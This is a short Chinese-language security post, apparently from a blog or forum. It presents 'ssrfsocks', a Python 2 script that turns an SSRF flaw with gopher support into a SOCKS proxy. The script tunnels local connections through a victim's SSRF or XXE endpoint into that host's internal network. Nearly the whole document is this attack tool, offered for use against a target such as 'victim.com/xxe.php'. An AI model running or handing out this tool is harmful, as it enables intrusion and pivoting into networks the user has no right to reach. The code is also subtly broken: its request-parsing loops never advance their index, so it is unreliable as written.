ssrf+gopher=ssrfsocks

当发现一个ssrf点支持万金油协议gopher的时候,  就可以创建一个socks代理了
      
  1. http : //fuzz.wuyun.org/src/ssrfsocks.py
  2. https://github.com/iamultra/ssrfsocks/blob/master/ssrfsocks.py
        
  1. #!/usr/bin/env python
  2. import sys
  3. import socket
  4. import thread
  5. import binascii
  6. import struct
  7. import urllib
  8. import urllib2
  9. HOST = 'localhost'
  10. PORT = 65432
  11. BUFSIZ = 4096
  12. TIMEOUT = 5
  13. SOCKS = True
  14. CONNECT = "gopher%3A//"
  15. def decodesocks ( req ):
  16. if req [ 0 ] != '\x04' :
  17. raise Exception ( 'bad version number' )
  18. if req [ 1 ] != '\x01' :
  19. raise Exception ( 'only tcp stream supported' )
  20. port = req [ 2 : 4 ]
  21. host = req [ 4 : 8 ]
  22. if host [ 0 ] == '\x00' and host [ 1 ] == '\x00' and host [ 2 ] == '\x00' and host [ 3 ] != '\x00' :
  23. byname = True
  24. else :
  25. byname = False
  26. userid = ""
  27. i = 8
  28. while req [ i ] != '\x00' :
  29. userid += req [ i ]
  30. extra = ""
  31. if byname :
  32. while req [ i ] != '\x00' :
  33. extra += req [ i ]
  34. return host , port , extra
  35. def child ( sock , addr , base ):
  36. try :
  37. if SOCKS :
  38. req = sock . recv ( BUFSIZ )
  39. host , port , extra = decodesocks ( req )
  40. if extra == "" :
  41. dest = socket . inet_ntoa ( host )
  42. else :
  43. dest = extra
  44. destport , = struct . unpack ( "!H" , port )
  45. sock . send ( "\x00\x5a" + port + host )
  46. data = sock . recv ( BUFSIZ )
  47. #print "sending:", data
  48. encodeddata = urllib . quote ( data )
  49. url = base + CONNECT + dest + ":" + str ( destport )+ "/A" + encodeddata
  50. #print "connecting to ", url
  51. ret = urllib2 . urlopen ( url , timeout = TIMEOUT )
  52. retdata = ret . read ()
  53. #print "received:", retdata
  54. if len ( retdata ) > 0 :
  55. sock . send ( retdata )
  56. sock . close ()
  57. except Exception as e :
  58. print e
  59. sock . close ()
  60. if __name__ == '__main__' :
  61. if len ( sys . argv ) != 2 :
  62. sys . exit ( 'Usage: %s BASEURL\nExample: %s "http://victim.com/xxe.php?uri="' % sys . argv [ 0 ], sys . argv [ 0 ])
  63. base = sys . argv [ 1 ]
  64. server = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
  65. server . bind (( HOST , PORT ))
  66. server . listen ( 2 )
  67. print 'listener ready on port' , PORT
  68. try :
  69. while 1 :
  70. client , addr = server . accept ()
  71. #print 'connection from:', addr
  72. thread . start_new_thread ( child , ( client , addr , base ))
  73. except KeyboardInterrupt :
  74. server . close ()